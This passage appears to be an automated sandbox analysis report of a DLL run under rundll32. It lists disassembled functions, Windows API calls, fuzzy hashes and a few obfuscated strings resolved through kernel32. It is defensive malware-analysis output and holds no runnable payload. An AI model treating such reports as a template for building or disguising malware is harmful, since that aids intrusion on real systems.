QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>, xrefs: 6F9E1887
QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>, xrefs: 6F9E17F6
QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>, xrefs: 6F9E1765
kernel32.dll, xrefs: 6F9E1755

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: AddressProc_strlen$HandleModule
String ID: QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>$QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>$QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>$kernel32.dll
API String ID: 3538810943-2765630095
Opcode ID: 2a379053233ef17eba8332c404caa62232c306b5bdfab4901d23d71f89b9ffb9
Instruction ID: 328c724de8a8eff0298c9dd58e01739b72527d30cca24aa7d0ab3dbf1e8fcb4e
Opcode Fuzzy Hash: 2a379053233ef17eba8332c404caa62232c306b5bdfab4901d23d71f89b9ffb9
Instruction Fuzzy Hash: 1A611771C043489FDB26CFB8DC84B9CBBB9BF1A318F244129E554A7282DB359959CF00

Function 6F9F8279 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6F9F7FC0: CreateFileW.KERNEL32(00000000,00000000,?,6F9F8322,?,?,00000000,?,6F9F8322,00000000,0000000C), ref: 6F9F7FDD

GetLastError.KERNEL32 ref: 6F9F838D
__dosmaperr.LIBCMT ref: 6F9F8394
GetFileType.KERNEL32(00000000), ref: 6F9F83A0
GetLastError.KERNEL32 ref: 6F9F83AA
__dosmaperr.LIBCMT ref: 6F9F83B3
CloseHandle.KERNEL32(00000000), ref: 6F9F83D3
CloseHandle.KERNEL32(00000000), ref: 6F9F8520
GetLastError.KERNEL32 ref: 6F9F8552
__dosmaperr.LIBCMT ref: 6F9F8559

Strings

H, xrefs: 6F9F84DE

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 4af6af01b6e3b2ba8af986970952df45dd80cdf71fd828bcc3b3dbb060b1376c
Instruction ID: 3288d38ea6a097e82a780bf9916855d5d582761d7e26ab805963f75f92ec2c81
Opcode Fuzzy Hash: 4af6af01b6e3b2ba8af986970952df45dd80cdf71fd828bcc3b3dbb060b1376c
Instruction Fuzzy Hash: AAA12232A1A6149FCF199F68DC50BAE3BB5AF46328F180249E811DF2D1D775E813CB81

Function 6F9E6ADA Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 6F9E6BF9
___TypeMatch.LIBVCRUNTIME ref: 6F9E6D07
_UnwindNestedFrames.LIBCMT ref: 6F9E6E59
CallUnexpected.LIBVCRUNTIME ref: 6F9E6E74

Strings

csm, xrefs: 6F9E6C30
csm, xrefs: 6F9E6B84
csm, xrefs: 6F9E6B17

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 496e9e35ae3b0188b7da02238e0e7905dafde6b41095736e85f97ef758c65e31
Instruction ID: ec3bc2f5668578b73dc31df19e638787bf038e0333bb8f2658d231313e855140
Opcode Fuzzy Hash: 496e9e35ae3b0188b7da02238e0e7905dafde6b41095736e85f97ef758c65e31
Instruction Fuzzy Hash: 85B19031820319EFCF07CFA4C84099EBBB9FF16314B55456AEA146B2C2D731EA61CB91

Function 6F9F068D Relevance: 10.8, APIs: 7, Instructions: 329
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strrchr.LIBCMT ref: 6F9F0713

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 5b196b74059184e9b8e0842bd6eede7b04aae286f8f0b9da0e097125ac15f892
Instruction ID: baf217140c8dcd65b40ec424e9feedf26838e1ce44582113907c9b87a324178c
Opcode Fuzzy Hash: 5b196b74059184e9b8e0842bd6eede7b04aae286f8f0b9da0e097125ac15f892
Instruction Fuzzy Hash: 5FB16772A023559FEB158F64CC80BAE7BADEF55310F145196E904AF2D2E370E943CBA0

Function 6F9E6540 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_ValidateLocalCookies.LIBCMT ref: 6F9E6577
___except_validate_context_record.LIBVCRUNTIME ref: 6F9E657F
_ValidateLocalCookies.LIBCMT ref: 6F9E6608
__IsNonwritableInCurrentImage.LIBCMT ref: 6F9E6633
_ValidateLocalCookies.LIBCMT ref: 6F9E6688

Strings

csm, xrefs: 6F9E661D

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 00833ef39707546aafc042727115e06d77210fbbd0a43cf1edf8837cb79cfeb6
Instruction ID: 4fea8862b25d08e8bf505b4eb80486591ebf0db6d2677bab8646e0077f54472d
Opcode Fuzzy Hash: 00833ef39707546aafc042727115e06d77210fbbd0a43cf1edf8837cb79cfeb6
Instruction Fuzzy Hash: BD41B874E20209DBCF11CF68C844A9E7BB5BF46328F108156DA189B3D6DB36E915CF91

Function 6F9F1703 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,6F9F1812,6F9E7D84,B586E81C,00000000,6F9EC75A,00000000,?,6F9F198B,00000022,FlsSetValue,6F9FF4F8,ccs,6F9EC75A), ref: 6F9F17C4

Strings

ext-ms-, xrefs: 6F9F176E
api-ms-, xrefs: 6F9F175A

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 89779a191b62a359c422b201cbe5d7e24261c050e5accc42ee1de3dbfd62f5f0
Instruction ID: e40b334bd073041dff6e01b0f17c9760de5542fcaa0258fef270668817dce6d2
Opcode Fuzzy Hash: 89779a191b62a359c422b201cbe5d7e24261c050e5accc42ee1de3dbfd62f5f0
Instruction Fuzzy Hash: 49210AB1A07611A7EB119B74EC80A8A376DAF43774F250215ED19A72C2D730F953C7D0

Function 6F9EFE17 Relevance: 9.3, APIs: 6, Instructions: 292
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a4999cbd253340700a721d20dd1df6ac67830b14604a817e69a7142f4b4e5a6
Instruction ID: 71fc7e5ab318c4dd7e1ec292de8353cefa80c41b500404ca52ab15bb72ccbb9f
Opcode Fuzzy Hash: 5a4999cbd253340700a721d20dd1df6ac67830b14604a817e69a7142f4b4e5a6
Instruction Fuzzy Hash: D8B1D770E053499FDB12CFA8D840BAE7BB9AF46318F04515AE914972E2D770E943CF50

Function 6F9E67A3 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6F9E6721,6F9E51C4,6F9E4B74,?,6F9E4DAC,?,00000001,?,?,00000001,?,6FA04240,0000000C,6F9E4EA5), ref: 6F9E67B1
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6F9E67BF
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6F9E67D8
SetLastError.KERNEL32(00000000,6F9E4DAC,?,00000001,?,?,00000001,?,6FA04240,0000000C,6F9E4EA5,?,00000001,?), ref: 6F9E682A

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: dfdf7fe836fb0ec0733f181b63a26d79ef79237d028ecca6ccee01f88ff9caf5
Instruction ID: b1f083cb3b3d3312ef3f095ca282bb96336c5217fa9d947b44f3b8a2ab93a7e8
Opcode Fuzzy Hash: dfdf7fe836fb0ec0733f181b63a26d79ef79237d028ecca6ccee01f88ff9caf5
Instruction Fuzzy Hash: 7B01D43211EB125EAA171AB46C946472B59EF5777C730833EE720453D1EF12D862C18A

Function 6F9F3DF8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6F9F3E14

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: 1e3172428df33662d62a9d4dc582287f17cb59eca170ea0b85102df59a552e79
Instruction ID: 5b7a7f9e1679c946130062c04525eb99cf12bfac563d28d90b35c0b7e1f6adaa
Opcode Fuzzy Hash: 1e3172428df33662d62a9d4dc582287f17cb59eca170ea0b85102df59a552e79
Instruction Fuzzy Hash: 0021F03160A205AFDB129F74DC41D5B77ADAF113687004614EE169B2D1E738FC52CBA2

Function 6F9EE429 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,B5FBC098,6F9EC75A,?,00000000,6F9FC710,000000FF,?,6F9EE3C3,B586E81C,?,6F9EE397,?), ref: 6F9EE45E
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6F9EE470
FreeLibrary.KERNEL32(00000000,?,00000000,6F9FC710,000000FF,?,6F9EE3C3,B586E81C,?,6F9EE397,?), ref: 6F9EE492

Strings

mscoree.dll, xrefs: 6F9EE457
CorExitProcess, xrefs: 6F9EE468

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 5b65d13e5c707de824d2b348650507c48963b1824bdf2c75f02eb7080dee24d3
Instruction ID: 6c8dc8bb744076d8706710171ffb484282acbc6f1ef7774dc40ee4af8b8f184e
Opcode Fuzzy Hash: 5b65d13e5c707de824d2b348650507c48963b1824bdf2c75f02eb7080dee24d3
Instruction Fuzzy Hash: 6501A231905A1ABBEB129F40CC08FAE7BB9FF45764F004626F921A23C0DB34D905CB90

Function 6F9F8CF4 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6F9F8D79
__alloca_probe_16.LIBCMT ref: 6F9F8E42
__freea.LIBCMT ref: 6F9F8EA9

Part of subcall function 6F9F047E: RtlAllocateHeap.KERNEL32(00000000,6F9F4371,7D32887D,?,6F9F4371,00000220,?,6F9E1775,7D32887D), ref: 6F9F04B0

__freea.LIBCMT ref: 6F9F8EBC
__freea.LIBCMT ref: 6F9F8EC9

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 67e20e05562b1584d2e98a8c66e9abd3ee7a267363bf8e2d0265f66a12635e93
Instruction ID: c7cd2159103a40b8d5135be626dd784ed37a7ccee5ac8af7a2f17fad64ecdd1f
Opcode Fuzzy Hash: 67e20e05562b1584d2e98a8c66e9abd3ee7a267363bf8e2d0265f66a12635e93
Instruction Fuzzy Hash: 96510672A06206AFEB5A5F66CC84EEB36ADEF95314B10052DFD15D61D0E730EC52C7A0

Function 6F9E78B2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6F9E7863,00000000,?,00000001,?,?,?,6F9E7952,00000001,FlsFree,6F9FDCE0,FlsFree), ref: 6F9E78BF
GetLastError.KERNEL32(?,6F9E7863,00000000,?,00000001,?,?,?,6F9E7952,00000001,FlsFree,6F9FDCE0,FlsFree,00000000,?,6F9E6878), ref: 6F9E78C9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6F9E78F1

Strings

api-ms-, xrefs: 6F9E78D6

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: b47c339dd91411f1bbecaed53c69ccd36df81b0fa396bc8dbd65172b8f2ba03a
Instruction ID: e0995ae150704eadd01931741c95366524bb6e7fc4aa82250b39d65878c4bd59
Opcode Fuzzy Hash: b47c339dd91411f1bbecaed53c69ccd36df81b0fa396bc8dbd65172b8f2ba03a
Instruction Fuzzy Hash: EEE04F3024830AB7FF061E60EC45B493F6ABF11B50F144431FA0DE81D2EBA1E462DA8A

Function 6F9F25E6 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(B5FBC098,00000000,00000000,?), ref: 6F9F2649

Part of subcall function 6F9F4945: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F9F8E9F,?,00000000,-00000008), ref: 6F9F49A6

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6F9F289B
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6F9F28E1
GetLastError.KERNEL32 ref: 6F9F2984

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: fe81266302eadc7dbad4a0eb118a1f72f7f336948244fc018ea67c52c7bcdbaf
Instruction ID: 88a3865aec50a2153264f08ea284437b8430fd06ee3aea968d8feab9cd1998f0
Opcode Fuzzy Hash: fe81266302eadc7dbad4a0eb118a1f72f7f336948244fc018ea67c52c7bcdbaf
Instruction Fuzzy Hash: 58D16B75D052899FCB05CFA8C980AEDBBB9FF09314F28412AE555EB391D630E952CB50

Function 6F9E6883 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6F9E694A
___AdjustPointer.LIBCMT ref: 6F9E696D
___AdjustPointer.LIBCMT ref: 6F9E6A09

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: b97839c47a9caff3eadd396ee411979d5a0aa84b8b7e82d5c6d866617396aefd
Instruction ID: 969753698cff31dcd0520bd5c325d6c23ab26ae89bc23608c0f8d1ee191ba1e7
Opcode Fuzzy Hash: b97839c47a9caff3eadd396ee411979d5a0aa84b8b7e82d5c6d866617396aefd
Instruction Fuzzy Hash: 4C51E372A24702DFEB2A8F15D940BAA73B9FF92314F10452EDB514B2D1EB31E880C751

Function 6F9F3694 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6F9F4945: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F9F8E9F,?,00000000,-00000008), ref: 6F9F49A6

GetLastError.KERNEL32 ref: 6F9F36F8
__dosmaperr.LIBCMT ref: 6F9F36FF
GetLastError.KERNEL32(?,?,?,?), ref: 6F9F3739
__dosmaperr.LIBCMT ref: 6F9F3740

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 9454dc167a4ff88182e540ef307a2bbb1adcd086a13c1c14dbb32208a20b8c1a
Instruction ID: e22667a4e35f41a5788a80cbd447b4fd44ebc042b03d52db810d2d323323788c
Opcode Fuzzy Hash: 9454dc167a4ff88182e540ef307a2bbb1adcd086a13c1c14dbb32208a20b8c1a
Instruction Fuzzy Hash: FA21C27160A705AFD7109F75C882D5BB7ADFF013687008519EE29976D0E738FC428B92

Function 6F9F49E8 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6F9F49F0

Part of subcall function 6F9F4945: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F9F8E9F,?,00000000,-00000008), ref: 6F9F49A6

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6F9F4A28
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6F9F4A48

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: e9e8a88f779a4c5ede003a32aa79a75e6d8b8cdeab1903a1e24b7626ede81452
Instruction ID: a802c6e0a407c010a1fd07c567f1c5e96a8aec38052186ae87f01997ad2cc124
Opcode Fuzzy Hash: e9e8a88f779a4c5ede003a32aa79a75e6d8b8cdeab1903a1e24b7626ede81452
Instruction Fuzzy Hash: 511108B66076057E7B5157B9DE88C6F296DEE962A83200115FA00D12C1FB24DE134BB5

Function 6F9F9F4D Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,6F9ED16B,00000000,00000000,?,6F9F85E1,00000000,00000001,?,?,?,6F9F29D8,?,00000000,00000000), ref: 6F9F9F64
GetLastError.KERNEL32(?,6F9F85E1,00000000,00000001,?,?,?,6F9F29D8,?,00000000,00000000,?,?,?,6F9F2FB2,00000000), ref: 6F9F9F70

Part of subcall function 6F9F9F36: CloseHandle.KERNEL32(FFFFFFFE,6F9F9F80,?,6F9F85E1,00000000,00000001,?,?,?,6F9F29D8,?,00000000,00000000,?,?), ref: 6F9F9F46

___initconout.LIBCMT ref: 6F9F9F80

Part of subcall function 6F9F9EF8: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6F9F9F27,6F9F85CE,?,?,6F9F29D8,?,00000000,00000000,?), ref: 6F9F9F0B

WriteConsoleW.KERNEL32(00000000,00000000,6F9ED16B,00000000,?,6F9F85E1,00000000,00000001,?,?,?,6F9F29D8,?,00000000,00000000,?), ref: 6F9F9F95

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: a3185bcd108a9e4d421ec96081c44ad1292f464412ca5220d84a850510d6eeab
Instruction ID: f02eda1bff6fab2506e83819a3bef85ab0c1b282b33a23b8586a95b42d3c2165
Opcode Fuzzy Hash: a3185bcd108a9e4d421ec96081c44ad1292f464412ca5220d84a850510d6eeab
Instruction Fuzzy Hash: 34F0AC3A506615BBDF221F96DC0898A3F66EF0A3B5B144015FA19952A0C632DC72DB91

Function 6F9E6E7F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.KERNEL32(00000000,?), ref: 6F9E6EA4

Strings

